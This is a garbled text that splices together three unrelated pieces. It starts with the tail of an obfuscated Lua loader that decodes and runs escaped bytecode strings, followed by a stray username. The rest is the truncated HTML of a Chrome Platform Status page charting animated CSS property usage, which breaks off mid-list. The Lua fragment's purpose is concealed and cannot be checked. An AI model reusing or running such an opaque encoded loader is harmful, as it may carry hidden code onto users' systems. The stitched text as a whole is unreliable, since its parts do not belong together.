7\0\0\0\28\64\0\1\0\9\0\0\0\1\4\183\0\0\0\12\0\0\0\1\5\0\0\0\0\1\5\38\0\0\0\3\0\0\0\2\0\0\0\28\128\128\0\0\1\6\38\0\0\0\0\0\0\0\21\1\0\3\6\64\64\0\0\1\6\38\0\0\0\0\0\0\0\14\1\0\3\6\128\64\0\0\1\6\38\0\0\0\0\0\0\0\4\1\0\3\6\192\64\0\0\1\6\38\0\0\0\0\0\0\0\9\1\0\3\6\0\65\0\0\1\6\38\0\0\0\0\0\0\0\10\1\0\3\6\64\65\0\0\1\6\38\0\0\0\0\0\0\0\22\1\0\3\6\0\66\0\0\1\8\38\0\0\0\0\0\0\0\1\1\0\3\11\64\66\0\0\1\9\38\0\0\0\2\0\0\0\13\0\0\0\28\64\0\1\0\0\225\5\38\0\23\0\2\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\34\0\0\0\203\10\0\0\0\44\16\5\38\31\7\59\45\12\0\203\38\0\0\0\125\84\67\111\17\26\36\102\80\112\99\80\70\14\127\77\120\16\125\84\98\72\71\59\1\98\69\33\38\24\29\49\26\34\43\45\45\0\203\7\0\0\0\114\115\94\101\78\65\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\2\0\0\0\36\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\14\0\0\0\71\73\80\119\95\121\100\99\90\96\67\90\89\0\203\13\0\0\0\65\82\86\113\88\69\106\102\90\124\108\70\0\203\13\0\0\0\102\69\67\114\78\65\106\96\94\112\99\90\0\203\10\0\0\0\44\16\5\38\31\7\59\44\6\0\203\7\0\0\0\114\98\94\107\88\13\0\203\10\0\0\0\65\69\79\107\94\71\110\93\123\0\203\7\0\0\0\114\77\86\107\72\93\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\98\79\69\116\88\69\106\119\90\0\203\7\0\0\0\102\84\69\118\69\82\0\203\4\0\0\0\102\89\89\0\203\10\0\0\0\71\73\80\119\95\115\100\123\75\0\203\42\0\0\0\125\84\67\111\17\26\36\99\72\101\33\77\81\66\112\77\109\17\127\72\124\2\82\103\77\110\85\51\32\65\75\52\23\33\42\45\33\4\47\47\62\0\203\23\0\0\0\120\69\91\126\69\86\99\123\83\107\47\86\77\0\107\71\124\77\120\25\43\5\0\203\14\0\0\0\71\73\80\119\95\96\123\100\90\96\67\90\89\0\203\5\0\0\0\118\72\86\109\0\203\7\0\0\0\88\69\68\119\98\81\0\203\7\0\0\0\96\78\71\126\72\94\0\203\5\0\0\0\114\65\90\122\0\203\5\0\0\0\114\65\90\122\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\6\0\0\0\101\67\86\115\71\0\203\4\0\0\0\123\69\64\0\1\20\0\0\0\0\146\23\237\0\6\0\227\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\245\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\25\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\3\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\5\1\0\3\6\128\64\0\0\1\5\38\0\1\0\0\0\0\0\30\1\0\3\70\192\64\0\0\1\5\38\0\2\0\1\0\0\0\7\1\0\3\134\0\193\0\0\0\31\1\38\0\2\0\23\1\0\0\0\1\0\4\137\128\193\130\0\6\0\0\0\1\5\38\0\2\0\1\0\0\0\7\1\0\3\134\0\193\0\0\1\6\38\0\2\0\8\1\0\0\4\1\0\4\137\0\194\131\0\1\5\38\0\2\0\1\0\0\0\21\1\0\3\134\64\194\0\0\1\6\38\0\2\0\23\1\0\0\19\1\0\4\137\128\194\130\0\1\5\38\0\2\0\1\0\0\0\21\1\0\3\134\64\194\0\0\1\6\38\0\2\0\12\1\0\0\1\1\0\4\137\0\195\133\0\1\5\38\0\2\0\1\0\0\0\18\1\0\3\134\64\195\0\0\1\6\38\0\2\0\23\1\0\0\10\1\0\4\137\128\195\130\0\1\5\38\0\2\0\1\0\0\0\18\1\0\3\134\64\195\0\0\1\6\38\0\2\0\8\1\0\0\4\1\0\4\137\0\194\131\0\0\225\5\38\0\18\0\23\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))end;return d(c())end end end)({[-123.41276841798594]="HU1rOEkuH1NNdJ5Z3yKCJ8X0Xl";["fHWF7c7"]="Mc0tjlKj5sf8QhVIywL_Ujnu";[-104.10458573352068]="iHddjSrpjC0ATrTlz_NM";[405.0785930542498]="qqZ6j2u0Hp1";[407.37050810920624]="ZHPN36kKAI2oKej8hOAlLAs4KZs";["9Uzom"]="g6cAcrn2gFMOQu7Zu49PCsA43o2";[-145.43795953977573]="lQL4yiPGkZl";[-85.15277690907209]="60bOvj7kG";[85.53112331965713]="anpljcwukL13tgU4tvdCp";[-281.87316689761036]="nu5UvuLzxP4SS4ZY";[322.318342989022]="MP86KMEmwP4zw_P";["u0B79x"]="qajTXKR_oNgjrXfpH";["COu8JgxLGhU64rw_2IIfP3"]="eZnExr4PG95TDrCww";["sX8QCpwt"]="V1LeVZIUgGFAixId0ACK";[291.65274954228084]="Ztk8D2KQt";[-77.55135505516492]="Jzj8R76qGY";["K4jBufxQJfpjC2E29hTXKB7mTDrXx"]="G_M710LQHTB";["m2Mc98MuJCZBz3HUThKaeshABL2o"]="kqQgEZR7";["hHzvkTDTcj9nYWBqlOu8E"]="Upn1Bmq2K";[153.9810358866488]="CjeqaNtV";[-196.87944694023582]="Xcy4HjzJI76";["wlWPdGKlXgq"]="gW4choLYY7xG92yXwz9";[-200.5330320984226]="gY8p6m3vgb";[305.9727621357435]="ub7BbYPF7mF99MDL9WKPqk0s";["bkep6P"]="z_FHLBnHHCkddbpom84fuP";[37.1103344240891]="PXOFBf69";[-125.4288800204746]="CnDFfY6edz";["lazL8"]="XiMHo83m4ge";["OT_NEDUJ"]="Fi1e6R90";["h30mJOQgcGJXvDD7UYtolDHNn"]="xmzIzkr9GmHZJctHxmnZQ8iZOc";[110.51411935042438]="hLy1wWjZMLw";[-90.0460458520057]="mXYZitV8ry2ifB";[-249.08907447698027]="kqnlUdKnIAa8MSF";[300.595782321493]="CX0bM6CAgqHsHoSyZx";[1]=c();[18.614725045643556]="ENtSffZ5B";[-210.90406853419975]="tC_CbNtMGRsJ";["kqN2YKH5"]="g8rtqT8u0ZmXi";[114.75836277539071]="FveKwPKrv";[2]=a;[-101.29625214459625]="MUlx_ffJ103yoKcX";[-68.63070130850235]="Fb8uKSCC1m1Cc";[72.22743904961953]="F3PP8M8fPmra4n7u7oGGGlAW";[59.59411284959616]="KKlJD1H7TDvJdIt"})
mhowerton91
<!DOCTYPE html> <!-- Copyright 2016 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <html> <head> <meta charset="utf-8"> <title>Chrome Platform Status</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"> <link rel="manifest" href="/static/manifest.json"> <meta name="theme-color" content="#366597"> <link rel="icon" sizes="192x192" href="/static/img/crstatus_192.png"> <!-- iOS: run in full-screen mode and display upper status bar as translucent --> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> <link rel="apple-touch-icon" href="/static/img/crstatus_128.png"> <link rel="apple-touch-icon-precomposed" href="/static/img/crstatus_128.png"> <link rel="shortcut icon" href="/static/img/crstatus_128.png"> <link rel="preconnect" href="https://www.google-analytics.com" crossorigin> <!-- <link rel="dns-prefetch" href="https://fonts.googleapis.com"> --> <!-- <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> --> <!-- <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400" media="none" onload="this.media='all'"> --> <!-- <link rel="stylesheet" href="/static/css/main.css"> --> <style>html,body{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline}div,span,object,iframe,h1,h2,h3,h4,h5,h6,p,pre,a,abbr,acronym,address,code,del,dfn,em,img,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,caption,tbody,tfoot,thead,tr{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline}blockquote,q{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline;quotes:"" ""}blockquote:before,q:before,blockquote:after,q:after{content:""}th,td,caption{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline;text-align:left;font-weight:normal;vertical-align:middle}table{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline;border-collapse:separate;border-spacing:0;vertical-align:middle}a img{border:none}*{box-sizing:border-box}*{-webkit-tap-highlight-color:transparent}h1,h2,h3,h4{font-weight:300}h1{font-size:30px}h2,h3,h4{color:#444}h2{font-size:25px}h3{font-size:20px}a{text-decoration:none;color:#4580c0}a:hover{text-decoration:underline;color:#366597}b{font-weight:600}input:not([type="submit"]),textarea{border:1px solid #D4D4D4}input:not([type="submit"])[disabled],textarea[disabled]{opacity:0.5}button,.button{display:inline-block;background:linear-gradient(#F9F9F9 40%, #E3E3E3 70%);border:1px solid #a9a9a9;border-radius:3px;padding:5px 8px;outline:none;white-space:nowrap;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;text-shadow:1px 1px #fff;font-size:10pt}button:not(:disabled):hover{border-color:#515151}button:not(:disabled):active{background:linear-gradient(#E3E3E3 40%, #F9F9F9 70%)}.comma::after{content:',\00a0'}html,body{height:100%}body{color:#666;font:14px "Roboto", sans-serif;font-weight:400;-webkit-font-smoothing:antialiased;background-color:#eee}body.loading #spinner{display:flex}body.loading chromedash-toast{visibility:hidden}#spinner{display:none;align-items:center;justify-content:center;position:fixed;height:calc(100% - 54px - $header-height);max-width:768px;width:100%}#site-banner{display:none;background:#4580c0;color:#fff;position:fixed;z-index:1;-webkit-tap-highlight-color:transparent;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;text-transform:capitalize;text-align:center;transform:rotate(35deg);right:-40px;top:20px;padding:10px 40px 8px 60px;box-shadow:inset 0px 5px 6px -3px rgba(0,0,0,0.4)}#site-banner iron-icon{margin-right:4px;height:20px;width:20px}#site-banner a{color:currentcolor;text-decoration:none}app-drawer{font-size:14px}app-drawer .drawer-content-wrapper{height:100%;overflow:auto;padding:16px}app-drawer paper-listbox{background-color:inherit !important}app-drawer paper-listbox paper-item{font-size:inherit !important}app-drawer h3{margin-bottom:16px;text-transform:uppercase;font-weight:500;font-size:14px;color:inherit}app-header{background-color:#eee;right:0;top:0;left:0;z-index:1}app-header[fixed]{position:fixed}.main-toolbar{display:flex;position:relative;padding:0 16px}header,footer{display:flex;align-items:center;text-shadow:0 1px 0 white}header{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}header a{text-decoration:none !important}header nav{display:flex;align-items:center;margin-left:16px}header nav a{background-color:#FAFAFA;background:linear-gradient(to bottom, white, #F2F2F2);padding:0.75em 1em;box-shadow:1px 1px 4px rgba(0,0,0,0.065);cursor:pointer;font-size:16px;text-align:center;border-radius:3px;border-bottom:1px solid #D4D4D4;border-right:1px solid #D4D4D4;white-space:nowrap}header nav a:active{position:relative;top:1px;left:1px;box-shadow:3px 3px 4px rgba(0,0,0,0.065)}header nav a.disabled{opacity:0.5;pointer-events:none}header nav paper-menu-button{margin:0 !important;padding:0 !important;line-height:1}header nav paper-menu-button .dropdown-content{display:flex;flex-direction:column;contain:content}header aside{background-color:#FAFAFA;background:linear-gradient(to bottom, white, #F2F2F2);padding:0.75em 1em;box-shadow:1px 1px 4px rgba(0,0,0,0.065);border-bottom-left-radius:5px;border-bottom-right-radius:5px;border-bottom:1px solid #D4D4D4;border-right:1px solid #D4D4D4;background:url(/static/img/chrome_logo.svg) no-repeat 16px 50%;background-size:48px;background-color:#fafafa;padding-left:72px}header aside hgroup a{color:currentcolor}header aside h1{line-height:1}header aside img{height:45px;width:45px;margin-right:7px}footer{background-color:#FAFAFA;background:linear-gradient(to bottom, white, #F2F2F2);padding:0.75em 1em;box-shadow:1px 1px 4px rgba(0,0,0,0.065);font-size:12px;box-shadow:0 -2px 5px rgba(0,0,0,0.065);display:flex;flex-direction:column;justify-content:center;text-align:center;position:fixed;bottom:0;left:0;right:0;z-index:3}footer div{margin-top:4px}.description{line-height:1.4}#subheader,.subheader{display:flex;align-items:center;margin:16px 0;max-width:768px}#subheader .num-features,.subheader .num-features{font-weight:400}#subheader div.search input,.subheader div.search input{width:200px;outline:none;padding:10px 7px}#subheader div.actionlinks,.subheader div.actionlinks{display:flex;justify-content:flex-end;flex:1 0 auto;margin-left:16px}#subheader div.actionlinks .blue-button,.subheader div.actionlinks .blue-button{background:#366597;color:#fff;display:inline-flex;align-items:center;justify-content:center;max-height:35px;min-width:5.14em;-webkit-tap-highlight-color:transparent;-webkit-tap-highlight-color:transparent;text-transform:uppercase;text-decoration:none;border-radius:3px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;padding:0.7em 0.57em}#subheader div.actionlinks .blue-button iron-icon,.subheader div.actionlinks .blue-button iron-icon{margin-right:8px;height:24px;width:24px}#subheader div.actionlinks .legend,.subheader div.actionlinks .legend{font-size:18px;cursor:pointer;text-decoration:none}#container{display:flex;flex-direction:column;height:100%;width:100%}#content{margin:16px;position:relative;height:100%}#panels{display:flex;width:100%;overflow:hidden}@media only screen and (min-width: 701px){.main-toolbar .toolbar-content{max-width:768px}app-header{padding-left:200px;left:0 !important}}@media only screen and (max-width: 700px){h1{font-size:24px}h2{font-size:20px}h3{font-size:15px}app-header .main-toolbar{padding:0;display:block}app-header .main-toolbar iron-icon{width:24px}app-drawer{z-index:2}#content{margin-left:0;margin-right:0}header{margin:0;display:block}header aside{display:flex;padding:8px;border-radius:0;background-size:24px;background-position:48px 50%}header aside hgroup{padding-left:48px}header aside hgroup span{display:none}header nav{margin:0;justify-content:center;flex-wrap:wrap}header nav a{padding:5px 10px;margin:0;border-radius:0;flex:1 0 auto}#panels{display:block}#panels nav{display:none}.subheader .description{margin:0 16px}#subheader div:not(.search){display:none}#subheader div.search{text-align:center;flex:1 0 0;margin:0}chromedash-toast{width:100%;left:0;margin:0}}@media only screen and (min-width: 1100px){#site-banner{display:block}}body.loading chromedash-legend{display:none}body.loading chromedash-featurelist{visibility:hidden}body.loading .main-toolbar .dropdown-content{display:none} </style> <!-- <link rel="stylesheet" href="/static/css/metrics/metrics.css"> --> <style>#content h3{margin-bottom:16px}.data-panel{max-width:768px}.data-panel .description{margin-bottom:1em}.metric-nav{list-style-type:none}.metric-nav h3:not(:first-of-type){margin-top:32px}.metric-nav li{text-align:center;border-top-left-radius:3px;border-top-right-radius:3px;background:linear-gradient(to bottom, white, #F2F2F2);box-shadow:1px 1px 4px rgba(0,0,0,0.065);padding:0.5em;margin-bottom:10px}@media only screen and (max-width: 700px){#subheader{margin:16px 0;text-align:center}.data-panel{margin:0 10px}} </style> <script> window.Polymer = window.Polymer || { dom: 'shadow', // Use native shadow dom. lazyRegister: 'max', useNativeCSSProperties: true, suppressTemplateNotifications: true, // Don't fire dom-change on dom-if, dom-bind, etc. suppressBindingNotifications: true // disableUpgradeEnabled: true // Works with `disable-upgrade` attr. When removed, upgrades element. }; var $ = function(selector) { return document.querySelector(selector); }; var $$ = function(selector) { return document.querySelectorAll(selector); }; </script> <style is="custom-style"> app-drawer { --app-drawer-width: 200px; --app-drawer-content-container: { background: #eee; }; } paper-item { --paper-item: { cursor: pointer; }; } </style> <link rel="import" href="/static/elements/metrics-imports.vulcanize.html"> </head> <body class="loading"> <!--<div id="site-banner"> <a href="https://www.youtube.com/watch?v=Rd0plknSPYU" target="_blank"> <iron-icon icon="chromestatus:ondemand-video"></iron-icon> How we built it</a> </div>--> <app-drawer-layout fullbleed> <app-drawer swipe-open> <div class="drawer-content-wrapper"> <ul class="metric-nav"> <h3>All properties</h3> <li><a href="/metrics/css/popularity">Stack rank</a></li> <li><a href="/metrics/css/timeline/popularity">Timeline</a></li> <h3>Animated properties</h3> <li><a href="/metrics/css/animated">Stack rank</a></li> <li><a href="/metrics/css/timeline/animated">Timeline</a></li> </ul> </div> </app-drawer> <app-header-layout> <app-header reveals fixed effects="waterfall"> <div class="main-toolbar"> <div class="toolbar-content"> <header> <aside> <iron-icon icon="chromestatus:menu" drawer-toggle></iron-icon> <hgroup> <a href="/features" target="_top"><h1>Chrome Platform Status</h1></a> <span>feature support & usage metrics</span> </hgroup> </aside> <nav> <a href="/features">Features</a> <a href="/samples" class="features">Samples</a> <paper-menu-button vertical-align="top" horizontal-align="right"> <a href="javascript:void(0)" class="dropdown-trigger">Usage Metrics</a> <div class="dropdown-content" hidden> <!-- hidden removed by lazy load code. --> <a href="/metrics/css/popularity" class="metrics">CSS</a> <a href="/metrics/feature/popularity" class="metrics">JS/HTML</a> </div> </paper-menu-button> </nav> </header> <div id="subheader"> <h2>CSS usage metrics > animated properties > timeline</h2> </div> </div> </div> </app-header> <div id="content"> <div id="spinner"><img src="/static/img/ring.svg"></div> <div class="data-panel"> <p class="description">Percentages are the number of times (as the fraction of all animated properties) this property is animated.</p> <chromedash-feature-timeline type="css" view="animated" title="Percentage of times (as the fraction of all animated properties) this property is animated." ></chromedash-feature-timeline> </div> </div> </app-header-layout> <footer> <p>Except as otherwise noted, the content of this page under <a href="https://creativecommons.org/licenses/by/2.5/">CC Attribution 2.5</a> license. Code examples are <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/LICENSE">Apache-2.0</a>.</p> <div><a href="https://groups.google.com/a/chromium.org/forum/#!newtopic/blink-dev">File content issue</a> | <a href="https://docs.google.com/a/chromium.org/forms/d/1djZD0COt4NgRwDYesNLkYAb_O8YL39eEvF78vk06R9c/viewform">Request "edit" access</a> | <a href="https://github.com/GoogleChrome/chromium-dashboard/issues">File site bug</a> | <a href="https://docs.google.com/document/d/1jrSlM4Yhae7XCJ8BuasWx71CvDEMMbSKbXwx7hoh1Co/edit?pli=1" target="_blank">About</a> | <a href="https://www.google.com/accounts/ServiceLogin?service=ah&passive=true&continue=https://appengine.google.com/_ah/conflogin%3Fcontinue%3Dhttps://www.chromestatus.com/metrics/css/timeline/animated">Login</a> </div> </footer> </app-drawer-layout> <chromedash-toast msg="Welcome to chromestatus.com!"></chromedash-toast> <script> /*! (c) 2017 Copyright (c) 2016 The Google Inc. All rights reserved. (Apache2) */ "use strict";function _classCallCheck(e,r){if(!(e instanceof r))throw new TypeError("Cannot call a class as a function")}var _createClass=function(){function e(e,r){for(var n=0;n<r.length;n++){var t=r[n];t.enumerable=t.enumerable||!1,t.configurable=!0,"value"in t&&(t.writable=!0),Object.defineProperty(e,t.key,t)}}return function(r,n,t){return n&&e(r.prototype,n),t&&e(r,t),r}}(),Metric=function(){function e(r){if(_classCallCheck(this,e),!r)throw Error("Please provide a metric name");if(!e.supportsPerfMark&&(console.warn("Timeline won't be marked for \""+r+'".'),!e.supportsPerfNow))throw Error("This library cannot be used in this browser.");this.name=r}return _createClass(e,[{key:"duration",get:function(){var r=this._end-this._start;if(e.supportsPerfMark){var n=performance.getEntriesByName(this.name)[0];n&&"measure"!==n.entryType&&(r=n.duration)}return r||-1}}],[{key:"supportsPerfNow",get:function(){return performance&&performance.now}},{key:"supportsPerfMark",get:function(){return performance&&performance.mark}}]),_createClass(e,[{key:"log",value:function(){return console.info(this.name,this.duration,"ms"),this}},{key:"logAll",value:function(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.name;if(e.supportsPerfNow)for(var n=window.performance.getEntriesByName(r),t=0;t<n.length;++t){var a=n[t];console.info(r,a.duration,"ms")}return this}},{key:"start",value:function(){return this._start?(console.warn("Recording already started."),this):(this._start=performance.now(),e.supportsPerfMark&&performance.mark("mark_"+this.name+"_start"),this)}},{key:"end",value:function(){if(this._end)return console.warn("Recording already stopped."),this;if(this._end=performance.now(),e.supportsPerfMark){var r="mark_"+this.name+"_start",n="mark_"+this.name+"_end";performance.mark(n),performance.measure(this.name,r,n)}return this}},{key:"sendToAnalytics",value:function(e){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.name,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:this.duration;return window.ga?n>=0&&ga("send","timing",e,r,n):console.warn("Google Analytics has not been loaded"),this}}]),e}(); </script> <script> document.addEventListener('WebComponentsReady', function(e) { var timeline = $('chromedash-feature-timeline'); timeline.props = [[469,"alias-epub-caption-side"],[470,"alias-epub-text-combine"],[471,"alias-epub-text-emphasis"],[472,"alias-epub-text-emphasis-color"],[473,"alias-epub-text-emphasis-style"],[474,"alias-epub-text-orientation"],[475,"alias-epub-text-transform"],[476,"alias-epub-word-break"],[477,"alias-epub-writing-mode"],[478,"alias-webkit-align-content"],[479,"alias-webkit-align-items"],[480,"alias-webkit-align-self"],[166,"alias-webkit-animation"],[167,"alias-webkit-animation-delay"],[169,"alias-webkit-animation-duration"],[170,"alias-webkit-animation-fill-mode"],[171,"alias-webkit-animation-iteration-count"],[172,"alias-webkit-animation-name"],[173,"alias-webkit-animation-play-state"],[174,"alias-webkit-animation-timing-function"],[177,"alias-webkit-backface-visibility"],[181,"alias-webkit-background-size"],[481,"alias-webkit-border-bottom-left-radius"],[482,"alias-webkit-border-bottom-right-radius"],[197,"alias-webkit-border-radius"],[483,"alias-webkit-border-top-left-radius"],[484,"alias-webkit-border-top-right-radius"],[212,"alias-webkit-box-shadow"],[485,"alias-webkit-box-sizing"],[218,"alias-webkit-column-count"],[219,"alias-webkit-column-gap"],[221,"alias-webkit-column-rule"],[222,"alias-webkit-column-rule-color"],[223,"alias-webkit-column-rule-style"],[224,"alias-webkit-column-rule-width"],[225,"alias-webkit-column-span"],[226,"alias-webkit-column-width"],[227,"alias-webkit-columns"],[486,"alias-webkit-flex"],[487,"alias-webkit-flex-basis"],[488,"alias-webkit-flex-direction"],[489,"alias-webkit-flex-flow"],[490,"alias-webkit-flex-grow"],[491,"alias-webkit-flex-shrink"],[492,"alias-webkit-flex-wrap"],[493,"alias-webkit-justify-content"],[494,"alias-webkit-opacity"],[495,"alias-webkit-order"],[308,"alias-webkit-perspective"],[309,"alias-webkit-perspective-origin"],[496,"alias-webkit-shape-image-threshold"],[497,"alias-webkit-shape-margin"],[498,"alias-webkit-shape-outside"],[537,"alias-webkit-text-size-adjust"],[326,"alias-webkit-transform"],[327,"alias-webkit-transform-origin"],[331,"alias-webkit-transform-style"],[332,"alias-webkit-transition"],[333,"alias-webkit-transition-delay"],[334,"alias-webkit-transition-duration"],[335,"alias-webkit-transition-property"],[336,"alias-webkit-transition-timing-function"],[230,"align-content"],[231,"align-items"],[232,"align-self"],[386,"alignment-baseline"],[454,"all"],[424,"animation"],[425,"animation-delay"],[426,"animation-direction"],[427,"animation-duration"],[428,"animation-fill-mode"],[429,"animation-iteration-count"],[430,"animation-name"],[431,"animation-play-state"],[432,"animation-timing-function"],[532,"apply-at-rule"],[508,"backdrop-filter"],[451,"backface-visibility"],[21,"background"],[22,"background-attachment"],[419,"background-blend-mode"],[23,"background-clip"],[24,"background-color"],[25,"background-image"],[26,"background-origin"],[27,"background-position"],[28,"background-position-x"],[29,"background-position-y"],[30,"background-repeat"],[31,"background-repeat-x"],[32,"background-repeat-y"],[33,"background-size"],[387,"baseline-shift"],[551,"block-size"],[34,"border"],[35,"border-bottom"],[36,"border-bottom-color"],[37,"border-bottom-left-radius"],[38,"border-bottom-right-radius"],[39,"border-bottom-style"],[40,"border-bottom-width"],[41,"border-collapse"],[42,"border-color"],[43,"border-image"],[44,"border-image-outset"],[45,"border-image-repeat"],[46,"border-image-slice"],[47,"border-image-source"],[48,"border-image-width"],[49,"border-left"],[50,"border-left-color"],[51,"border-left-style"],[52,"border-left-width"],[53,"border-radius"],[54,"border-right"],[55,"border-right-color"],[56,"border-right-style"],[57,"border-right-width"],[58,"border-spacing"],[59,"border-style"],[60,"border-top"],[61,"border-top-color"],[62,"border-top-left-radius"],[63,"border-top-right-radius"],[64,"border-top-style"],[65,"border-top-width"],[66,"border-width"],[67,"bottom"],[68,"box-shadow"],[69,"box-sizing"],[520,"break-after"],[521,"break-before"],[522,"break-inside"],[416,"buffered-rendering"],[70,"caption-side"],[547,"caret-color"],[71,"clear"],[72,"clip"],[355,"clip-path"],[356,"clip-rule"],[2,"color"],[365,"color-interpolation"],[366,"color-interpolation-filters"],[367,"color-profile"],[368,"color-rendering"],[523,"column-count"],[440,"column-fill"],[524,"column-gap"],[525,"column-rule"],[526,"column-rule-color"],[527,"column-rule-style"],[528,"column-rule-width"],[529,"column-span"],[530,"column-width"],[531,"columns"],[517,"contain"],[74,"content"],[75,"counter-increment"],[76,"counter-reset"],[77,"cursor"],[466,"cx"],[467,"cy"],[518,"d"],[3,"direction"],[4,"display"],[388,"dominant-baseline"],[78,"empty-cells"],[358,"enable-background"],[369,"fill"],[370,"fill-opacity"],[371,"fill-rule"],[359,"filter"],[233,"flex"],[234,"flex-basis"],[235,"flex-direction"],[236,"flex-flow"],[237,"flex-grow"],[238,"flex-shrink"],[239,"flex-wrap"],[79,"float"],[360,"flood-color"],[361,"flood-opacity"],[5,"font"],[516,"font-display"],[6,"font-family"],[514,"font-feature-settings"],[13,"font-kerning"],[7,"font-size"],[465,"font-size-adjust"],[80,"font-stretch"],[8,"font-style"],[9,"font-variant"],[533,"font-variant-caps"],[15,"font-variant-ligatures"],[535,"font-variant-numeric"],[549,"font-variation-settings"],[10,"font-weight"],[389,"glyph-orientation-horizontal"],[390,"glyph-orientation-vertical"],[453,"grid"],[422,"grid-area"],[418,"grid-auto-columns"],[250,"grid-auto-flow"],[417,"grid-auto-rows"],[248,"grid-column"],[245,"grid-column-end"],[511,"grid-column-gap"],[244,"grid-column-start"],[513,"grid-gap"],[249,"grid-row"],[247,"grid-row-end"],[512,"grid-row-gap"],[246,"grid-row-start"],[452,"grid-template"],[423,"grid-template-areas"],[242,"grid-template-columns"],[243,"grid-template-rows"],[81,"height"],[534,"hyphens"],[397,"image-orientation"],[507,"image-orientation"],[82,"image-rendering"],[398,"image-resolution"],[550,"inline-size"],[438,"internal-callback"],[436,"isolation"],[240,"justify-content"],[455,"justify-items"],[443,"justify-self"],[391,"kerning"],[83,"left"],[84,"letter-spacing"],[362,"lighting-color"],[556,"line-break"],[20,"line-height"],[85,"list-style"],[86,"list-style-image"],[87,"list-style-position"],[88,"list-style-type"],[89,"margin"],[90,"margin-bottom"],[91,"margin-left"],[92,"margin-right"],[93,"margin-top"],[372,"marker"],[373,"marker-end"],[374,"marker-mid"],[375,"marker-start"],[357,"mask"],[435,"mask-source-type"],[376,"mask-type"],[555,"max-block-size"],[94,"max-height"],[554,"max-inline-size"],[95,"max-width"],[406,"max-zoom"],[553,"min-block-size"],[96,"min-height"],[552,"min-inline-size"],[97,"min-width"],[407,"min-zoom"],[420,"mix-blend-mode"],[460,"motion"],[458,"motion-offset"],[457,"motion-path"],[459,"motion-rotation"],[433,"object-fit"],[437,"object-position"],[543,"offset"],[544,"offset-anchor"],[540,"offset-distance"],[541,"offset-path"],[545,"offset-position"],[548,"offset-rotate"],[542,"offset-rotation"],[98,"opacity"],[303,"order"],[408,"orientation"],[99,"orphans"],[100,"outline"],[101,"outline-color"],[102,"outline-offset"],[103,"outline-style"],[104,"outline-width"],[105,"overflow"],[538,"overflow-anchor"],[106,"overflow-wrap"],[107,"overflow-x"],[108,"overflow-y"],[109,"padding"],[110,"padding-bottom"],[111,"padding-left"],[112,"padding-right"],[113,"padding-top"],[114,"page"],[115,"page-break-after"],[116,"page-break-before"],[117,"page-break-inside"],[434,"paint-order"],[449,"perspective"],[450,"perspective-origin"],[557,"place-content"],[558,"place-items"],[118,"pointer-events"],[119,"position"],[120,"quotes"],[468,"r"],[121,"resize"],[122,"right"],[505,"rotate"],[463,"rx"],[464,"ry"],[506,"scale"],[444,"scroll-behavior"],[456,"scroll-blocks-on"],[502,"scroll-snap-coordinate"],[503,"scroll-snap-destination"],[500,"scroll-snap-points-x"],[501,"scroll-snap-points-y"],[499,"scroll-snap-type"],[439,"shape-image-threshold"],[346,"shape-inside"],[348,"shape-margin"],[347,"shape-outside"],[349,"shape-padding"],[377,"shape-rendering"],[123,"size"],[519,"snap-height"],[125,"speak"],[124,"src"],[363,"stop-color"],[364,"stop-opacity"],[378,"stroke"],[379,"stroke-dasharray"],[380,"stroke-dashoffset"],[381,"stroke-linecap"],[382,"stroke-linejoin"],[383,"stroke-miterlimit"],[384,"stroke-opacity"],[385,"stroke-width"],[127,"tab-size"],[126,"table-layout"],[128,"text-align"],[404,"text-align-last"],[392,"text-anchor"],[509,"text-combine-uprig